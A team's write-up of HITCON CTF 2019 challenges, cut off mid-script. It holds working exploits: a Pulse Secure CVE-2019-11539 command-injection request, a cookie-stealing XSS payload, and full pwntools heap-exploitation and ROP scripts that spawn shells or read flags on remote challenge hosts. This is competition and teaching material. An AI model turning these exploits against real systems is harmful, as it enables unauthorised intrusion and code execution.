HITCON CTF 2019 Writeup
web
Virtual Public Network [183pts]
http://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
CVE-2019-11539
Use \x2a instead of $
GET /cgi-bin/diag.cgi?options=-r$x%3d"bash+-c+\"/\x2aREAD_FLAG\x2a\"",system$x%23+2>./tmp/cmn.thtml+<&tpl=cmn HTTP/1.1Luatic [230pts]
Use _GET to override _POST and then use _POST to override global variables to bypass filter:
Overwrite math.random with the redis EVAL command:
Bounty Pl33z [255pts]
After searching, we found that --> can be used as a SingleLineComment:
But \n and \r are filtered.
After reading ECMA-262, we found other line terminators:
http://www.ecma-international.org/ecma-262/6.0/#sec-line-terminators
So the final payload:
http://3.114.5.202/fd.php?q=pupilesใqwerใdesign/?"%2beval(atob(`ZG9jdW1lbnQuY29va2ll`))%E2%80%A8-->reverse
EmojiVM [187pts]
A challenge of vm_re.The Data Struct is a tree like this.
struct node{
qword inuse;
node* parent;
node* left;
node* right;
int value;
int idx;
}
// left->value < parent->value < right->valuewe can use emoji(4byte) to specify the appropriate operation๏ผ node->idx corresponding to emoji_value) or use emoji to get a num in stack(010 , also by node->idx). If you want to get a num which more than 10, you can pushu some num(09) in stack and use add/multi/sub. The correspondence between the opcode and the operand is in sub_4221 and sub_4db8.
By debug the program ,we can get the conditon are:
- Input string length is 0x18
- Input form: XXXX-XXXX-XXXX-XXXX-XXXX
- The conversion rules of each group(4 byte) are as follows: First byte: x= x+30 Second byte: x=(x-8)xor 7 Third byte: x=((x+44)xor68)-4 The fourth byte: x=x^0x61
import os
m = [0x8e,0x63,0xcd,0x12,0x4b,0x58,0x15,0x17,0x51,0x22,0xd9,0x04,0x51,0x2c,0x19,0x15,0x86,0x2c,0xd1,0x4c,0x84,0x2e,0x20,0x06]
byte = 0
ans = ''
for i in range(0x18):
if (i%4)==0:
byte = m[i]-30
elif (i%4==1):
byte = (m[i] ^ 7) + 8
elif (i%4==2):
byte = ((m[i] + 4) ^ 68) - 44
else:
byte = m[i] ^ 0x61
ans += chr(byte&0xff)
print ans
Core Dumb [242pts]
There are five encrypted shellcodes in the file, decrypt these shellcodes with shellcode[i] ^= key[i%4]. At the beginning of main function, proc init five key and encrypt shellcode,use idapython decrypt shellcode and we can found five function.These functions constrain the flag,flag[0:10]:flag[i] ^= (key[i%4] - 7),flag[10:18] is similar to TEA,flag[18:36] is base64,flag[36:48] is similar to rc4,flag[48:52] is a hash function, reverse the first four function and exhaustive search the last four bytes to get the flag.
EV3 Arm [221pts]
The lsm assembly can be retrieved by lms-hacker-tools. Dump all calls in which certain parameters represent motor, power, and angle. Watch the video given in the problem description, and then we can know how these combinations of parameters work. Simulate the car by hand to get the flag.
Suicune [305pts]
A challenge similar with Counting in googlectf. The encryption are implemented with low performance. We analyse the binary and get the implmenation of the key generator in details. It contains a very ineffient sorting algorithm. We remaster the algorithm in high performance and make sure it sharing incomplete post-sorted result with the original one. Then we enumerate all the possible key to decrypt the given cipher.
try:
import numpy as np
except ImportError as e:
sys.stderr.write('You need to install numpy.\n')
def pcg32(param1:np.uint64=None, param2:np.uint64=None) -> np.uint32:
"""
All we ever do is call this over and over, so let's make it
a generator instead of a class.
param1 -- initial state of the engine.
param2 -- the increment.
yields -- an int, of which 32 bits are suitable scrambled.
"""
np.seterr(all='ignore') # remove overflow messages.
if param1 is None: param1 = random.random() * 9223372036854775807
if param2 is None: param2 = random.random() * 9223372036854775807
engine = np.array([param1, param2], dtype='uint64')
multiplier = np.uint64(6364136223846793005)
big_1 = np.uint32(1)
big_18 = np.uint32(18)
big_27 = np.uint32(27)
big_59 = np.uint32(59)
big_31 = np.uint32(31)
while True:
old_state = engine[0]
inc = engine[1]
engine[0] = old_state * multiplier + (inc | big_1)
xorshifted = np.uint32(((old_state >> big_18) ^ old_state) >> big_27)
rot = np.uint32(old_state >> big_59)
yield np.uint32((xorshifted >> rot) | (xorshifted << ((-rot) & big_31)))
def reverse(box, left):
right = len(box)-1
while(left<right):
box[left], box[right] = box[right], box[left]
left += 1
right -= 1
def find(box, left):
if left<0:
return True
r = len(box) - 1
while(r!=left):
# print(left, r)
if box[left]<box[r]:
box[left], box[r] = box[r], box[left]
# fuck
reverse(box, left+1)
return True
r -= 1
return False
def yysort(box, times):
l = len(box)
n = 100
f = [0] * n
for i in range(1,n):
f[i] = (f[i-1]+1)*i-1
while times != 0:
left = l-1
while left!=0 and box[left-1] > box[left]:
left -= 1
if left == 0:
break
find(box, left-1)
times -= 1
if times == 0:
break
m = l-left
while f[m] > times:
m -= 1
reverse(box, l-m)
times -= f[m]
return box
def unknown_generator(times):
global x
box = list(range(0x100))
for i in range(times):
xx = next(x) % (0x100-i)
y = 0xff-i
box[xx], box[y] = box[y], box[xx]
return box
def shuffle_pcg_result(pcg_res, length):
res_list = []
for i in range(0, len(pcg_res), length):
res_list.append(pcg_res[i: i + length])
return res_list
def byte_xorer(ba, bb):
res = b''
for i in range(len(ba)):
t = ba[i] ^ bb[i]
res += bytes([t])
return res
def decrypt(keys, buf):
rkeys = keys[::-1]
cur_cipher = buf
for i in range(16):
cur_cipher = cur_cipher[::-1]
cur_cipher = byte_xorer(cur_cipher, rkeys[i])
return cur_cipher
def encrypt(keys, buf):
cur_cipher = buf
for i in range(16):
key = keys[i]
print(key)
cur_cipher = byte_xorer(cur_cipher, key)
cur_cipher = cur_cipher[::-1]
return cur_cipher
def keygen():
global x
keys = []
for i in range(16):
pcg_res = unknown_generator(255)[0: flag_length]
key_list = pcg_res
# key_list = sort(reverse = True)
'''
The binary uses custom sort algorithm, it won't sort the list completely.
However, the binary uses the incompletely sorted list as key.
We cannot replay the algorithm in binary for its poor perfomance
'''
timesr = (next(x) + 0x100000000) % 0x100000000
timesl = (next(x) + 0x100000000) % 0x100000000
times = (timesl << 32) | timesr
times = (times + 0x10000000000000000) % 0x10000000000000000
key_list = yysort(key_list, times)
keys.append(key_list)
return keys
flag_key = 45193
output_file_content = '04dd5a70faea88b76e4733d0fa346b086e2c0efd7d2815e3b6ca118ab945719970642b2929b18a71b28d87855796e344d8'
if __name__=='__main__':
flag_length = int(len(output_file_content)/2)
buf = bytes.fromhex(output_file_content)
state = flag_key*6364136223846793005+6364136223846793005+1
state &= 0xffffffffffffffff
x=pcg32(state,1)
keys = keygen()
res = decrypt(keys, buf)
print (res)pwn
EmojiiiVM [236pts]
NOP = 1
ADD = 2
SUB = 3
MUL = 4
MOD = 5
XOR = 6
AND = 7
LWR = 8
EQU = 9
JMP = 10
JT = 11
JF = 12
# IMM = 13
POP = 14
# GET = 15
# SET = 16
# NEW = 17
# DEL = 18
EDIT = 19
SHOW = 20
def IMM(v):
assert v <= 10
return [13, -v]
def IMMX(v):
if v <= 10:
return IMM(v)
else:
hi, lo = divmod(v, 10)
pl = IMMX(hi) + IMM(10) + [MUL]
if lo != 0:
pl += IMM(lo) + [ADD]
return pl
def GET(idx, off):
return IMMX(off) + IMMX(idx) + [15]
def SET(idx, off):
return IMMX(off) + IMMX(idx) + [16]
def STR(idx, s):
pl = []
for i, c in enumerate(s):
pl += IMMX(ord(c)) + IMMX(i) + IMM(idx) + [16] # set
return pl
def GETI():
return GET(0, 0)
def GETJ():
return GET(0, 1)
def LOC(i):
return [i | (1 << 30)] * 14 # len(IMMX(999))
def NEW(sz):
return IMMX(sz) + [17]
def DEL(i):
return IMMX(i) + [18]
SZ = 0x82 # 130
pl = []
# pl += NEW(SZ) * 10
loc2 = len(pl)
pl += NEW(SZ)
pl += IMM(1) + GETI() + [ADD] + SET(0, 0) # ++i
pl += IMM(10) + GETI() + [LWR] + LOC(2) + [JT]
pl += DEL(7)
pl += [SUB, ADD]
pl += IMMX(0xB0) + [SUB] + IMM(0) + [SUB] # item9 = item8
pl += DEL(9) + DEL(8) # double free item8 & data8
pl += NEW(0) # item7 = data7 # fix fd = size = 0
pl += NEW(SZ) * 2 # data8 = data9
for i in xrange(7): # tcache
pl += DEL(i)
pl += DEL(8) # unsoted bin
pl += NEW(SZ)
pl += IMM(8) + SET(0, 0) # i = 8
loc1 = len(pl)
pl += GETI() + IMM(9) + [15] + [22] # print(itoa(item[9][i]))
pl += IMMX(980) + [22]
pl += IMM(1) + GETI() + [ADD] + SET(0, 0) # ++i
pl += IMMX(8 + 6) + GETI() + [LWR] + LOC(1) + [JT]
pl += [NOP]
pl += IMM(9) + [EDIT]
pl += IMMX(0xB0 * 2) + [SUB] + IMM(0) + [SUB] # item9 = data9
pl += IMM(9) + [EDIT]
pl += DEL(9)
pl += [0x17]
print(len(pl))
# print(pl)
i = 0
while i < len(pl):
v = pl[i]
if v == LOC(1)[0]:
r = loc1
elif v == LOC(2)[0]:
r = loc2
else:
assert type(v) == int
i += 1
continue
a, t = divmod(r, 100)
b, c = divmod(t, 10)
t = IMM(a) + IMM(10) + [MUL] + IMM(b) + [ADD] + IMM(10) + [MUL] + IMM(c) + [ADD]
assert len(t) == 14
pl = pl[:i] + t + pl[i + 14:]
i += len(t)
# print(pl)
consts = [128512,128513,128514,129315,128540,128516,128517,128518,128521,128522,128525,]
opcodes = [0,127539,10133,10134,10060,0x2753,10062,128107,128128,128175,128640,127542,127514,9196,128285,128228,128229,127381,127379,128196,128221,128289,128290,0x1F6D1,]
mp = {
0x23EC: '\xE2\x8F\xAC',
0x274c: '\xE2\x9D\x8C',
0x274e: '\xE2\x9D\x8E',
0x2753: '\xE2\x9D\x93',
0x2795: '\xE2\x9E\x95',
0x2796: '\xE2\x9E\x96',
0x1F193: '\xF0\x9F\x86\x93',
0x1F195: '\xF0\x9F\x86\x95',
0x1F21A: '\xF0\x9F\x88\x9A',
0x1F233: '\xF0\x9F\x88\xB3',
0x1F236: '\xF0\x9F\x88\xB6',
0x1f46b: '\xF0\x9F\x91\xAB',
0x1f480: '\xF0\x9F\x92\x80',
0x1f4af: '\xF0\x9F\x92\xAF',
0x1f4c4: '\xF0\x9F\x93\x84',
0x1f4dd: '\xF0\x9F\x93\x9D',
0x1f4e4: '\xF0\x9F\x93\xA4',
0x1f4e5: '\xF0\x9F\x93\xA5',
0x1f51d: '\xF0\x9F\x94\x9D',
0x1f521: '\xF0\x9F\x94\xA1',
0x1f522: '\xF0\x9F\x94\xA2',
0x1f600: '\xF0\x9F\x98\x80',
0x1f601: '\xF0\x9F\x98\x81',
0x1f602: '\xF0\x9F\x98\x82',
0x1f604: '\xF0\x9F\x98\x84',
0x1f605: '\xF0\x9F\x98\x85',
0x1f606: '\xF0\x9F\x98\x86',
0x1f609: '\xF0\x9F\x98\x89',
0x1f60a: '\xF0\x9F\x98\x8A',
0x1f60d: '\xF0\x9F\x98\x8D',
0x1f61c: '\xF0\x9F\x98\x9C',
0x1f680: '\xF0\x9F\x9A\x80',
0x1f6d1: '\xF0\x9F\x9B\x91',
0x1f923: '\xF0\x9F\xA4\xA3',
}
out = []
i = 0
while i < len(pl):
v = pl[i]
assert type(v) == int
if v <= 0:
t = abs(v)
assert t <= 10
out.append(mp[consts[t]])
i += 1
elif 0 < v and v < 0x18:
out.append(mp[opcodes[v]])
i += 1
else:
raise ValueError, v
final = ''.join(out)
print(len(final))
open('payload', 'wb').write(final)from pwn import *
import os
libc = ELF('./libc.so')
context.log_level = 'debug'
# p = process(argv=['./emojivm1', 'payload'])
p = remote('3.115.176.164', 30262)
p.recvuntil('token:\n')
cmd = p.recvline(False)
info('cmd: %s', cmd)
ans = os.popen(cmd).read().strip()
info('ans: %s', ans)
p.sendlineafter('hashcash token: ', ans)
payload = open('payload', 'rb').read()
p.sendlineafter('Your emoji file size: ( MAX: 1000 bytes ) ', str(len(payload)))
p.sendafter('Input your emoji file:\n', payload)
r = 0
for i in xrange(6):
t = p.recvuntil('980', True)
r += (int(t) % 256) << (i * 8)
r -= 0x3EBCA0 + 0x100
info('libc: %#x', r)
libc.address = r
pl = p64(0x10) + p64(libc.sym['__free_hook'] - 8)
p.send(pl)
pl = '/bin/sh\0' + p64(libc.sym['system'])
p.send(pl)
p.interactive()Crypto in the Shell [284pts]
The vulnerability is easy to spot: the encryption causes out-of-bound access. We can encrypt a piece of memory with arbitrary offset and get the result of encryption. Here are steps to exploit:
- Encrypt the key, and the result of encryption will be shown, which is the new key
- Encrypt the offset
-0x3a0, decrypt the result to leak the program address - Similarly, encrypt the offset
-0x40to leaklibcaddress, since it storesstderr. Note that we can not usestdoutorstdinto leaklibcaddress, since they are being used by the program and changing their contents will cause crash - Use
libc_addr+0x3f04c0to leak stack address, then we can rewrite loop variableito bypass number of encryption limitation. However, due to existence of ASLR, we only have1/2probability to makeinegative - Brute-force byte-by-byte to rewrite
ld_addr+0x228968to"sh"andld_addr+0x228f60to&system. Due to remote timeout, we need to pre-calculate number of encryptions needed to obtain a certain byte and send payloads altogether exitto get the shell
from pwn import *
from random import *
from time import time
from hashlib import *
from Crypto.Cipher import AES
from binascii import *
AES_BLOCK_SIZE = 16
g_local=1
context(log_level='debug', arch='amd64')
e = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
if g_local:
sh = process("./chall")
gdb.attach(sh)
else:
sh = remote("3.113.219.89", 31337)
def enc(off, size=0xf):
off &= 0xffffffffffffffff
size &= 0xffffffffffffffff
sh.sendline(str(off))
sh.sendlineafter("size:", str(size))
ret = sh.recvuntil("offset:")[:-len("offset:")]
assert len(ret) % 0x10 == 0
return ret
key = enc(-0x20)
iv = 0x10 * '\x00'
def dec(data):
return AES.new(key, AES.MODE_CBC, iv).decrypt(data)
def enc2(data):
return AES.new(key, AES.MODE_CBC, iv).encrypt(data)
prog_addr = dec(enc(-0x3a0))
prog_addr = u64(prog_addr[8:]) - 0x202008
print hex(prog_addr)
libc_addr = dec(enc(-0x40))
libc_addr = u64(libc_addr[:8]) - e.symbols["_IO_2_1_stderr_"]
print hex(libc_addr)
def calc_off(addr):
return addr - (prog_addr + 0x2023a0)
env_off = calc_off(libc_addr+0x3f04c0)
stack_addr = dec(enc(env_off))
stack_addr = u64(stack_addr[:8]) + 0x10 - 0x120
print hex(stack_addr)
# 0.5, need to make i negative
enc(calc_off(stack_addr))
# previous bytes might be affected
def write_byte(addr, val, data):
assert len(data) == 0x10
off = calc_off(addr - 0xf)
count = 0
while True:
data = enc2(data)
count += 1
if u8(data[0xf]) == val:
break
for i in xrange(count):
sh.send(str(off) + '\n15\n')
for i in xrange(count):
sh.recvuntil("offset:")
return data
ld_addr = libc_addr + 0x3f1000
def write_bytes(addr, s, data):
assert len(data) == 0x10 + len(s)
i = len(s) - 1
for c in s[::-1]:
data = data[:1+i] + write_byte(\
addr + i, u8(c), data[1+i:0x11+i]) + \
data[0x11+i:]
i -= 1
# print hex(u64(dec(enc(calc_off(ld_addr + 0x228f50)))[:8]))
# sh.interactive()
od1 = p64(0) + p64(1)
write_bytes(ld_addr + 0x228968, "sh", od1 + 2*'\x00')
od2 = p64(0) + p64(0)
write_bytes(ld_addr + 0x228f60, \
p64(libc_addr + e.symbols["system"])[:3], \
od2+p64(ld_addr+0x10e0)[:3])
# local 0x440->0x441
# remote 0x440->0x496
# print hex(libc_addr + e.symbols["system"])
# print hex(u64(dec(enc(calc_off(ld_addr + 0x228f60)))[:8]))
# print hex(u64(dec(enc(calc_off(ld_addr + 0x228968)))[:8]))
sh.interactive()LazyHouse [300pts]
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
libc = ELF("./libc.so.6")
def buy_house(idx, size, content = ''):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Size:')
p.sendline(str(size))
if content != '':
p.recvuntil('House:')
p.send(content)
def show_house(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(idx))
def sell(idx):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(idx))
def upgrade(idx, content):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('House:')
p.send(content)
def buy_super_house(content):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('House:')
p.send(content)
def GameStart(ip, port, debug):
global p
if debug == 1:
p = process("./lazyhouse")
# p = process(['ld-linux-x86-64.so.2', './lazyhouse'], env = {'LD_PRELOAD' : './libc.so.6'})
else:
p = remote(ip, port)
buy_house(1, 0x13f69b02593f69b1)
sell(1)
buy_house(1, 0x109bb0727572e2bd)
sell(1)
buy_house(1, 0x13f2b1389a662c33)
sell(1)
buy_house(1, 0x4fcace18cee3091)
sell(1)
for i in range(7):
buy_house(1, 0x100, 'sw tcl')
sell(1)
for i in range(8):
buy_house(i, 0x100, 'sw tcl')
#pause()
upgrade(0, '\x00' * 0x100 + p64(0) + p64(0x661))
sell(1)
buy_house(1, 0x650, '\x00' * 0x100 + (p64(0) + p64(0x111) + '\x00' * 0x100) * 6)
sell(2)
sell(4)
show_house(1)
p.recvn(0x110)
libc_addr = u64(p.recvn(8)) - 0x1e4ca0
heap_addr = u64(p.recvn(8)) - 0xe00
log.info('libc addr is : ' + hex(libc_addr))
log.info('heap addr is : ' + hex(heap_addr))
buy_house(2, 0x3a0, '\x00')
sell(2)
buy_house(2,9999999999999999)
buy_house(2, 0x100, 'AAA')
buy_house(4, 0x100, 'AAA')
sell(1)
payload = '\x00' * 0x100 + p64(0) + p64(0x111) + p64(0) + p64(0xdeadbeef) + p64(0x21) * (0xf0/8)
payload += p64(0) + p64(0x21) + p64(0x21) * (0x100/8)
payload += p64(0) + p64(0x31) + p64(0x21) * (0x100/8)
payload += p64(0) + p64(0x141) + p64(0x21) * (0x100/8)
payload += p64(0) + p64(0x141) + p64(0x21) * (0x100/8)
buy_house(1, 0x650, payload)
sell(2)
buy_house(2,9999999999999999)
sell(3)
sell(4)
sell(1)
payload = '\x00' * 0x100 + p64(0) + p64(0x111) + p64(0) + p64(heap_addr + 0xd00) + p64(0x21) * (0xf0/8)
payload += p64(0) + p64(0x131) + p64(0x21)*2 + p64(heap_addr+0xbe0) + p64(heap_addr+0x40) + p64(0x21) * (0x100/8 - 4)
payload += p64(0) + p64(0x141) + p64(heap_addr + 0x40)*5 + p64(0x21) * (0x100/8 - 5)
payload += p64(0) + p64(0x141) + p64(0x21) * (0x100/8)
payload += p64(0) + p64(0x141) + p64(0x21) * (0x100/8)
buy_house(1, 0x650, payload)
buy_house(3, 0x100, '\x00')
buy_house(4, 0x100, '\x00')
sell(5)
libc.address = libc_addr
free_hook = libc.symbols['__malloc_hook']
mprotect = libc.symbols['mprotect']
open_addr = libc.symbols['open']
poprdi = libc_addr + 0x26542
poprdxrsi = libc_addr + 0x012bdc9
poprsi = libc_addr + 0x026f9e
leave_ret = libc_addr + 0x0000000000058373
longjmp = libc_addr + 277552
buy_house(5, 0x108, p64(free_hook)*(0x108/8))
buy_super_house(p64(leave_ret))
buffer_addr = heap_addr + 0xae0
read_addr = libc.symbols['read']
write_addr = libc.symbols['write']
payload = p64(heap_addr) + p64(poprdi) + p64(heap_addr) + p64(poprdxrsi) + p64(7) + p64(0x1000) + p64(mprotect)
payload += p64(buffer_addr + 0x40)
payload += '\x90'*0x8
code = asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_open',buffer_addr + 0x300, 2))
code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_read', 'rax', heap_addr, 0x100))
code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_write', 1 , heap_addr, 0x100))
code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_exit', 0))
payload += code
#upgrade(1, payload.ljust(0x300, '\x00') + "./flag")
upgrade(1, payload.ljust(0x300,'\x00') + '/home/lazyhouse/flag')
#pause()
buy_house(2, str(buffer_addr))
p.interactive()
if __name__ == '__main__':
#GameStart('3.115.121.123', 5731, 0)
GameStart('127.0.0.1', 23335, 0)PoE I - Luna [284pts]
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright ยฉ 2018 anciety <anciety@anciety-pc>
#
# Distributed under terms of the MIT license.
import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['ancyterm', '-s', '192.168.142.1', '-t', 'alacritty', '-e']
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rr = tube.recvregex
tube.irt = tube.interactive
if len(sys.argv) > 2:
DEBUG = 0
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
p.ru('of:\n')
hashcash = p.rl()
res = raw_input()
p.sl(res)
else:
DEBUG = 1
if len(sys.argv) == 2:
PATH = sys.argv[1]
p = process(PATH)
# by w1tcher who dominates pwnable challenges
def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \
p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload
orig_attach = gdb.attach
def gdb_attach(*args, **kwargs):
if DEBUG:
orig_attach(*args, **kwargs)
gdb.attach = gdb_attach
def cmd(f):
def wrapped_cmd(*args, **kwargs):
p.ru('>>> ')
f(*args, **kwargs)
return wrapped_cmd
@cmd
def insert(idx, content):
p.sl('i {} {}'.format(idx, content))
@cmd
def cut(idx, count):
p.sl('c {} {}'.format(idx, count))
@cmd
def new_tab():
p.sl('n')
@cmd
def switch(to):
p.sl('s {}'.format(to))
@cmd
def paste(idx):
p.sl('p {}'.format(idx))
@cmd
def replace(idx, length, c):
p.sl('r {} {} {}'.format(idx, length, c))
@cmd
def delete(idx, length):
p.sl('D {} {}'.format(idx, length))
@cmd
def display(idx, size):
p.sl('d {} {}'.format(idx, size))
def main():
p.ru('Luna - ')
p.ru('--------------')
insert(0, 'a' * 0xf8)
new_tab() # 1
insert(0, 'b' * 0x10)
cut(0, 0x10) # full cut
switch(0)
cut(0, 0xf0) # partial cut
# now the pastebin should have a cache of 0x10, but length of 0x200
# transfer pastebin to current tab
new_tab() # 2
paste(0)
# now we can use replace to OOB write the heap (on tab #2)
# but let's get out a freed chunk first
new_tab() # 3
insert(0, 'f' * 0xf8)
new_tab() # 4
insert(0, 'g' * 0xf8)
switch(3)
#raw_input('>> break free')
delete(0, 0xf8) # free(chunk of size(0x208))
switch(4)
delete(0, 0xf8)
switch(2)
# target 0xd10
# we are at 0xc80
__free_hook = target = 0x6D9E78 # __free_hook
idx = 0xd10 - 0xc80
packed = p64(target)
for i in range(len(packed)):
c = packed[i]
replace(idx + i, 1, c)
new_tab() # 3
switch(3)
pivot = 0x00000000004a8f86 # mov rsp, rcx ; ret
add_rsp_80 = 0x0000000000416cf7 # add rsp, 0x80 ; ret
add_rsp_d8 = 0x0000000000410a83 # add rsp, 0xd8 ; ret
pop_rdi_rbp = 0x00000000004038d5 # pop rdi ; pop rbp ; ret
pop_rdi = 0x00000000004006a6 # pop rdi ; ret
pop_rsi_rbp = 0x0000000000410cee # pop rsi ; pop rbp ; ret
pop_rsi = 0x0000000000411583 # pop rsi ; ret
pop_rax_rdx_rbx = 0x000000000048bf36 # pop rax ; pop rdx ; pop rbx ; ret
xor_rax = 0x0000000000445e70 # xor rax, rax ; ret
add_rax_1 = 0x000000000047eb80 # add rax, 1 ; ret
syscall = 0x47f927
sal_edi = 0x000000000048b1cd # sal edi, 0xd8 ; ret
mov_edi_edx = 0x0000000000497b71 # mov edi, edx ; mov byte ptr [rsi], al ; jne 0x497b59 ; mov rax, rsi ; ret
xchg_eax_ebp = 0x00000000004517bf # xchg eax, ebp ; ret
add_eax_3 = 0x000000000047eb91 # add eax, 3 ; ret
mov_rax_1 = 0x000000000047ebb0 # mov rax, 1 ; ret
mov_rax_2 = 0x000000000047ebc0 # mov rax, 2 ; ret
mov_rax_3 = 0x000000000047ebd0 # mov rax, 3 ; ret
xor_eax = 0x000000000040feed # xor eax, eax ; ret
pop_rdx = 0x000000000044ab35 # pop rdx ; ret
pop_rdx_rbx = 0x000000000048bf37 # pop rdx ; pop rbx ; ret
open_fn = 0x44aa80
read_fn = 0x44ab20
puts_fn = 0x411720
fputs_fn = 0x479770
data = 0x6da100
# 0x44 X
## 0x15 X
flag1_addr = data
rop = p64(mov_rax_3)
rop += p64(pop_rdi)
rop += p64(2)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(flag1_addr)
rop += p64(pop_rsi_rbp)
rop += p64(0)
rop += p64(0)
rop += p64(mov_rax_2)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(2)
rop += p64(pop_rsi_rbp)
rop += p64(data)
rop += p64(0)
rop += p64(pop_rdx_rbx)
rop += p64(0x100)
rop += p64(0)
rop += p64(mov_rax_1)
rop += p64(xor_eax)
rop += p64(syscall)
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi_rbp)
rop += p64(data)
rop += p64(0)
rop += p64(mov_rax_1)
rop += p64(syscall)
print(len(rop))
assert len(rop) <= 0xf0
insert(0, 'flag1\x00'.ljust(0xf8, 'c'))
new_tab() # 4
switch(4)
insert(0, 'a' * 8)
cut(0, 1)
new_tab() # 5
switch(5)
insert(0, p64(pivot) + rop.ljust(0xf0, '1'))
#insert(0, p64(pivot) + '\x00' * 0xf0)
switch(2)
idx = 0xcd0 - 0xc80
replace(idx, 1, chr(0xd0))
display(0, 8)
p.info(p.ru('\xd0'))
leaked = '\xd0'
while len(leaked) < 8:
leaked += p.r(8 - len(leaked))
heap_addr = u64(leaked)
p.info('leaked heap 0x{:x}'.format(heap_addr))
switch(2)
replace(0, 1, chr(0x60))
target = 0x555555babeb0 - 0x555555babcd0 + heap_addr
payload = p32(0x500) + p32(1) + p64(0) + p64(target)
for i in range(len(payload)):
c = payload[i]
replace(i, 1, c)
new_tab()
#switch(1)
p.sl('s 1')
pop_rsp = 0x0000000000403073 # pop rsp ; ret
data = 0x6da100
temp = p64(pop_rsp)
temp += p64(__free_hook + 8)
for i in range(len(temp)):
c = temp[i]
replace(i, 1, c)
switch(2)
#target = 0x555555babeb0 - 0x555555babcd0 + heap_addr + 0xd8
target = data
payload = p64(target)
for i in range(len(payload)):
c = payload[i]
replace(0x10 + i, 1, c)
raw_input('>> break final')
switch(1)
rop = '/home/poe/flag1\x00'
for i in range(len(rop)):
c = rop[i]
replace(i, 1, c)
# trigger __free_hook
switch(6)
paste(0)
p.irt()
if __name__ == '__main__':
main()
dadadb [371pts]
from utility import *
from pprint import pprint
debug = 0
if debug:
p = pwn('127.0.0.1:4869')
ntdll_off = 0x2a0 + 32
to_ntdll = 0x163D40 # 0x15ACB0
to_peb = 0x165368 # 0x15C338
to_stack = 0xcd0
else:
p = pwn('13.230.51.176:4869')
ntdll_off = 0x2a0 + 32
to_ntdll = 0x163d10
to_peb = 0x165368
to_stack = 0xcd0
p.sendlineafter('>>', '1')
p.sendlineafter(':', 'orange')
p.sendlineafter(':', 'godlike')
def pad(k):
return k.ljust(0x40 - 1, '\x00')
def create(key, buf, size=None):
if not size:
size = len(buf)
key = pad(key)
p.sendlineafter('>>', '1')
p.sendlineafter(':', key)
p.sendlineafter(':', str(size))
if len(buf) >= size:
p.sendafter(':', buf)
else:
p.sendlineafter(':', buf)
def show(key):
key = pad(key)
p.sendlineafter('>>', '2')
p.sendlineafter(':', key)
p.recvuntil('Data:')
def logout():
p.sendlineafter('>>', '4')
def free(key):
key = pad(key)
p.sendlineafter('>>', '3')
p.sendlineafter(':', key)
create('\x05', 'a' * 0x50)
create('\x01', 'b' * 0x50)
create('\x02', 'c' * 0x500)
free('\x05')
create('\x02', 'd' * 0xb0)
show('\x02')
p.recvuntil('d' * 0xb0)
data = p.recvuntil('\norange', drop=1)
data = data[0x18:]
header = u64(data[:8])
heap = u64(data[8:16])
log.info('heap header: {}'.format(hex(header)))
log.info('heap: {}'.format(hex(heap)))
ptr = heap & 0xfffffffffffff000
ptr += ntdll_off
log.info('target : {}'.format(hex(ptr)))
free('\x02')
create('\x02', 'c' * 0x500)
create('\x02', 'e' * 0x58 + p64(header) + p64(ptr), 0x50)
show('\x01')
data = p.recvuntil('\norange', drop=1)
ntdll = u64(data[:8])
free('\x02')
ntdll -= to_ntdll
log.info('ntdll: {}'.format(hex(ntdll)))
create('\x02', 'c' * 0x500)
create('\x02', 'e' * 0x58 + p64(header) + p64(ntdll + to_peb), 0x50)
show('\x01')
data = p.recvuntil('\norange', drop=1)
peb = u64(data[:8])
log.info('peb: {}'.format(hex(peb)))
free('\x02')
create('\x02', 'c' * 0x500)
create('\x02', 'e' * 0x58 + p64(header) + p64(peb + to_stack), 0x50)
show('\x01')
data = p.recvuntil('\norange', drop=1)
stack = u64(data[:8])
log.info('stack: {}'.format(hex(stack)))
free('\x02')
target_stack = stack >> 16
target_stack += 1
target_stack <<= 16
target_stack -= 0x1000
stack = target_stack
log.info('stack target: {}'.format(hex(target_stack)))
create('\x02', 'c' * 0x500)
create('\x02', 'e' * 0x58 + p64(header) + p64(target_stack) + p64(0x1000), 0x50)
show('\x01')
data = p.recvuntil('\norange', drop=1)
index = data.find('\x19' + '\x00' * 15) - 0xd8
base = u64(data[index:index + 8]) - 0x1E38
log.info('base: ' + hex(base))
target_stack += index
log.info('stack target: {}'.format(hex(target_stack)))
free('\x02')
encode = heap & 0xfffffffffffff000
encode += 0x88
create('\x02', 'c' * 0x500)
create('\x02', 'e' * 0x58 + p64(header) + p64(encode), 0x50)
show('\x01')
data = p.recvuntil('\norange', drop=1)
